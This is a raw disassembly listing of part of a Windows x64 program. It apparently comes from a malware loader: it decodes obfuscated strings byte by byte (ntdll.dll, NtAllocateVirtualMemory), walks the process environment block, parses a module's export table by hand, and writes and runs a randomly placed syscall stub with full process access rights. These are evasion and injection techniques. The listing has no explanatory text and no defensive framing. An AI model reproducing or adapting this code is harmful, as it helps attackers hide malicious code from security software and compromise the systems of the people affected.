mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x262], al
mov r9, r12
lea r8d, [rbx + 9]
mov dl, 0x76
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x263], al
mov r9, r12
lea r8d, [rbx + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x264], al
mov r9, r12
lea r8d, [rbx + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x265], al
mov r9, r12
lea r13d, [rbx + 0xc]
mov r8d, r13d
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x266], al
mov r9, r12
lea r8d, [rbx + 0xd]
mov dl, 0x67
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x267], al
mov r9, r12
lea r8d, [rbx + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + 0x268], al
xor eax, eax
mov byte [rbp + 0x269], al
mov edi, eax
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x259]
lea rcx, [rbp + 0x258]
call fcn.14002e078
mov byte [rbp + rdi + 0x259], al
add rdi, rbx
cmp rdi, r12
jb 0x1400186e3
xor edi, edi
mov byte [rbp + 0x269], dil
lea rcx, [rbp + 0x259]
call fcn.1400130a0
mov qword [rbp + 0xd60], rdi
mov dword [rbp + 0xdf8], gethostname
mov qword [rbp + 0xe00], rdi
mov dword [rbp + 0xe10], edi
mov qword [rbp + 0xe08], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xe18], xmm0
mov eax, dword [rbp - 0x60]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0xdf0], rdi
mov byte [rbp + 0x228], WSASetLastError
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x229], al
mov r9, r13
mov r14, rbx
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22a], al
mov r9, r13
lea r8d, [rdi + 2]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22b], al
mov r9, r13
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22c], al
mov r9, r13
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22d], al
mov r9, r13
lea r8d, [rdi + 5]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22e], al
mov r9, r13
lea r8d, [rdi + 6]
mov dl, 0x50
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x22f], al
mov r9, r13
lea r8d, [rdi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x230], al
mov r9, r13
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x231], al
mov r9, r13
lea r8d, [rdi + 9]
mov dl, 0x63
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x232], al
mov r9, r13
lea r8d, [rdi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x233], al
mov r9, r13
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x234], al
mov r9, r13
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + 0x235], al
xor eax, eax
mov byte [rbp + 0x236], al
lea ebx, [rdi + 0x11]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x229]
lea rcx, [rbp + 0x228]
call fcn.14002df88
mov byte [rbp + rdi + 0x229], al
add rdi, r14
cmp rdi, r13
jb 0x1400188d3
xor edi, edi
mov byte [rbp + 0x236], dil
mov byte [rbp + 0x170], Ordinal_46
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x171], al
mov r9d, r14d
lea r12d, [rdi + 1]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x172], al
mov r9d, r14d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x173], al
mov r9d, r14d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x174], al
mov r9d, r14d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x175], al
mov r9d, r14d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x176], al
mov r9d, r14d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x177], al
mov r9d, r14d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x178], al
mov r9d, r14d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + 0x179], al
xor eax, eax
mov byte [rbp + 0x17a], al
lea r14d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x171]
lea rcx, [rbp + 0x170]
call fcn.14002e000
mov byte [rbp + rdi + 0x171], al
add rdi, r12
cmp rdi, 9
jb 0x140018a10
xor r9d, r9d
mov byte [rbp + 0x17a], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r12d, [r9 + 0x10]
je 0x140018d85
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
xor eax, eax
mov r13d, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x140018ad2
lea r11d, [rax + 1]
mov r8d, r11d
mov r15, qword [rbp - 0x50]
mov ecx, r8d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, r13d
mov r13d, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x140018aa9
mov r15d, Ordinal_35
sub edi, r13d
movsxd rdi, edi
movsxd rdx, r13d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x50], r10
je 0x140018b2c
mov rax, rcx
lea r9, [rbp + 0x171]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140018b25
add rax, r11
test edx, edx
jne 0x140018b10
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x140018b53
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x80]
jne 0x140018a6c
jmp 0x140018d7f
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140018d7f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140018d7f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140018d7f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140018d7f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r13d, dword [rax + 0x24]
add r13, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140018d7f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x229]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140018be2
inc rax
test edi, edi
jne 0x140018bcd
test r8d, r8d
je 0x140018bf6
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x140018bbc
jmp 0x140018d7f
movzx eax, word [r13 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140018d7f
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
mov ecx, 1
cmp eax, ecx
jl 0x140018d7f
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
call fcn.14008ce90
or dword [rbp + 0xad24], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x99a0]
call fcn.14002ef44
lea rcx, [rbp + 0x99a0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x99a0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x38540], rax
add rsi, rbx
cmp rsi, 0x200
jl 0x140018c92
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x38540]
mov rcx, r13
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, r13
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xef8], esi
lea r9, [rbp + 0xef8]
mov r8d, r14d
mov edx, ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xde8]
lea r8, [rbp + 0xdf8]
mov edx, 0x1fffff
lea rcx, [rbp + 0xd60]
call rdi
mov edi, eax
lea r9, [rbp + 0xef8]
mov r8d, dword [rbp + 0xef8]
mov edx, ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, r13
call fcn.1400b4da0
lea edx, [rsi + 0xb]
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], esi
test edi, edi
lea ebx, [rsi + 0x11]
lea esi, [rbx + 3]
js 0x14002d014
mov r13d, reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0xd60]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14002d014
lea rdi, [rbp + 0x28320]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28320]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edi, edi
test eax, eax
jne 0x14001944c
mov word [rbp + 0x3f8], 0xc208
mov r9, rbx
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3fa], al
mov r9, rbx
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3fb], al
mov r9, rbx
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3fc], al
mov r9, rbx
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3fd], al
mov r9, rbx
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3fe], al
mov r9, rbx
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x3ff], al
mov r9, rbx
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x400], al
mov r9, rbx
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x401], al
mov r9, rbx
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x402], al
mov r9, rbx
lea r8d, [rdi + 0xa]
mov dl, 0x46
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x403], al
mov r9, rbx
lea r8d, [rdi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x404], al
mov r9, rbx
lea r8d, [rdi + 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x405], al
mov r9, rbx
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x406], al
mov r9, rbx
lea r8d, [rdi + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x407], al
mov r9, rbx
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x408], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x3f8]
call fcn.14002e0f0
mov byte [rbp + 0x409], al
xor eax, eax
mov byte [rbp + 0x40a], al
mov r8d, edi
mov r9, rbx
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x3f8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x3f8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x3f9], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140018f9c
xor edi, edi
mov byte [rbp + 0x40a], dil
mov word [rbp + 0x920], 0x1377
mov r9, r15
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x922], al
mov r9, r15
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x923], al
mov r9, r15
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x924], al
mov r9, r15
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x925], al
mov r9, r15
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x926], al
mov r9, r15
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x927], al
mov r9, r15
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x928], al
mov r9, r15
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x929], al
mov r9, r15
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92a], al
mov r9, r15
lea r8d, [rdi + 0xa]
mov dl, 0x51
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92b], al
mov r9, r15
lea r8d, [rdi + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92c], al
mov r9, r15
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92d], al
mov r9, r15
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92e], al
mov r9, r15
lea r8d, [rdi + 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x92f], al
mov r9, r15
lea r8d, [rdi + 0xf]
mov dl, r14b
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x930], al
mov r9, r15
mov r8, r12
mov dl, 0x4d
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x931], al
mov r9, r15
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x932], al
mov r9, r15
lea r8d, [rdi + 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x933], al
mov r9, r15
lea r8d, [rdi + 0x13]
mov dl, 0x75
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x934], al
mov r9, r15
mov r8, rsi
mov dl, 0x6c
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x935], al
mov r9, r15
lea r8d, [rdi + 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x936], al
mov r9, r15
lea r8d, [rdi + 0x16]
mov dl, r14b
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x937], al
mov r9, r15
lea r8d, [rdi + 0x17]
mov dl, 0x49
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x938], al
mov r9, r15
lea r8d, [rdi + 0x18]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x939], al
mov r9, r15
lea r8d, [rdi + 0x19]
mov dl, 0x66
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93a], al
mov r9, r15
lea r8d, [rdi + 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93b], al
mov r9, r15
lea r8d, [rdi + 0x1b]
mov dl, WSAStartup
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93c], al
mov r9, r15
lea r8d, [rdi + 0x1c]
mov dl, 0x6d
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93d], al
mov r9, r15
lea r8d, [rdi + 0x1d]
mov dl, 0x61
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93e], al
mov r9, r15
lea r8d, [rdi + 0x1e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x93f], al
mov r9, r15
lea r8d, [rdi + 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x940], al
mov r9, r15
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x941], al
mov r9, r15
lea r8d, [rdi + 0x21]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x920]
call fcn.14002f668
mov byte [rbp + 0x942], al
xor eax, eax
mov byte [rbp + 0x943], al
mov r8d, edi
mov r9, r15
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x920]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x22]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x920]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x921], dil
add r8, rbx
add r9, r15
cmp r9, 0x4a6
jb 0x1400193b3
xor eax, eax
mov byte [rbp + 0x943], al
xor r9d, r9d
lea r8, [rbp + 0x3f9]
lea rdx, [rbp + 0x921]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov rax, qword [rbp + 0xd60]
mov qword [rsp + 0x70], rax
xor r15d, r15d
mov qword [rbp + 0xdb8], r15
mov qword [rbp + 0xfa0], 0x1000
mov byte [rbp + 0x730], select
lea r13d, [r15 + 0x17]
mov r9d, r13d
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x731], al
mov r9d, r13d
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x732], al
mov r9d, r13d
lea r8d, [r15 + 2]
mov dl, 0x41
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x733], al
mov r9d, r13d
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x734], al
mov r9d, r13d
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x735], al
mov r9d, r13d
lea r8d, [r15 + 5]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x736], al
mov r9d, r13d
lea r8d, [r15 + 6]
mov dl, 0x63
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x737], al
mov r9d, r13d
lea r8d, [r15 + 7]
mov dl, 0x61
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x738], al
mov r9d, r13d
lea r8d, [r15 + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x739], al
mov r9d, r13d
lea r8d, [r15 + 9]
mov dl, 0x65
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73a], al
mov r9d, r13d
lea r8d, [r15 + 0xa]
mov dl, 0x56
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73b], al
mov r9d, r13d
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73c], al
mov r9d, r13d
lea r8d, [r15 + 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73d], al
mov r9d, r13d
lea r8d, [r15 + 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73e], al
mov r9d, r13d
lea r8d, [r15 + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x73f], al
mov r9d, r13d
lea r8d, [r15 + 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x740], al
mov r9d, r13d
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x741], al
mov r9d, r13d
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x742], al
mov r9d, r13d
lea r8d, [r15 + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x743], al
mov r9d, r13d
lea r8d, [r15 + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x744], al
mov r9d, r13d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x745], al
mov r9d, r13d
lea r8d, [r15 + 0x15]
mov dl, WSAStartup
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x746], al
mov r9d, r13d
lea r8d, [r15 + 0x16]
mov dl, 0x79
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + 0x747], al
xor eax, eax
mov byte [rbp + 0x748], al
lea r15d, [r13 - 0x16]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x731]
lea rcx, [rbp + 0x730]
call fcn.14002e8e4
mov byte [rbp + rdi + 0x731], al
add rdi, r15
cmp rdi, r13
jb 0x1400196ed
xor r15d, r15d
mov byte [rbp + 0x748], r15b
mov byte [rbp + 0x160], 0x40
lea edi, [r15 + 9]
mov r9d, edi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x161], al
mov r9d, edi
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x162], al
mov r9d, edi
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x163], al
mov r9d, edi
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x164], al
mov r9d, edi
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x165], al
mov r9d, edi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x166], al
mov r9d, edi
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x167], al
mov r9d, edi
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x168], al
mov r9d, edi
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + 0x169], al
xor eax, eax
mov byte [rbp + 0x16a], al
mov edi, r15d
lea r15d, [rdi + 1]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x161]
lea rcx, [rbp + 0x160]
call fcn.14002e000
mov byte [rbp + rdi + 0x161], al
add rdi, r15
cmp rdi, 9
jb 0x14001982b
xor r15d, r15d
mov byte [rbp + 0x16a], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140019bab
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x1400198e4
lea r11d, [rax + 1]
mov r8d, r11d
mov r12, qword [rbp - 0x50]
mov ecx, r8d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x1400198bb
mov r12d, reloc.WS2_32.dll_recv
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rbp - 0x50], r15
je 0x14001993e
mov rax, rcx
lea r9, [rbp + 0x161]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140019937
add rax, r10
test edx, edx
jne 0x140019922
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x140019962
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
